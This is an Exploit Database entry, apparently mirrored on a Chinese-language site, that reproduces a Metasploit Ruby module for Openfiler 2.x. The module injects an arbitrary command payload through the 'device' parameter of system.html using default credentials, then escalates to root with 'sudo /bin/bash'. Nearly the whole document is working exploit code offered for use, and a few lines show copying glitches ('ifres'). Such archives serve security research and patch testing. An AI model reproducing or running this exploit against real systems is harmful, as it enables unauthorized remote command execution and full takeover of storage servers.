OpenFiler 2.x – NetworkCard Command Execution (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2012-09-10
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/21191/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Openfiler v2.x NetworkCard Command Execution",
  			'Description'=> %q{
  				This module exploits a vulnerability in Openfiler v2.x
  				which could be abused to allow authenticated users to execute arbitrary
  				code under the context of the 'openfiler' user. The 'system.html' file
  				uses user controlled data from the 'device' parameter to create a new
  				'NetworkCard' object. The class constructor in 'network.inc' calls exec()
  				with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
  				providing a system password.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
  				],
  			'References' =>
  				[
  					['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/']
  					#['OSVDB', ''],
  					#['EDB', ''],
  				],
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => 'none'
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> "\x00",
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic telnet python perl bash',
  						}
  				},
  			'Targets'=>
  				[
  					['Automatic Targeting', { 'auto' => true }]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Sep 04 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				Opt::RPORT(446),
  				OptBool.new('SSL', [true, 'Use SSL', true]),
  				OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']),
  				OptString.new('PASSWORD', [true, 'The password for the application', 'password'])
  			], self.class)
  	end
  
  	def check
  
  		@peer = "#{rhost}:#{rport}"
  
  		# retrieve software version from login page
  		print_status("#{@peer} - Sending check")
  		begin
  			res = send_request_cgi({
  				'uri' => '/'
  			})
  
  			ifres and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
  				return Exploit::CheckCode::Appears
  			elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
  				return Exploit::CheckCode::Detected
  			end
  
  		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  			print_error("#{@peer} - Connection failed")
  		end
  		return Exploit::CheckCode::Unknown
  
  	end
  
  	def on_new_session(client)
  		client.shell_command_token("sudo /bin/bash")
  	end
  
  
  	def exploit
  
  		@peer = "#{rhost}:#{rport}"
  		user= datastore['USERNAME']
  		pass= datastore['PASSWORD']
  		cmd = Rex::Text.uri_encode("&#{payload.raw}&")
  
  		# send payload
  		print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
  		begin
  			res = send_request_cgi({
  				'uri'=> "/admin/system.html?step=2&device=lo#{cmd}",
  				'cookie' => "usercookie=#{user}; passcookie=#{pass};",
  			}, 25)
  		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  			fail_with(Exploit::Failure::Unknown, 'Connection failed')
  		end
  
  		ifres and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
  			print_good("#{@peer} - Payload sent successfully")
  		elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
  			fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
  		else
  			fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
  		end
  
  	end
  end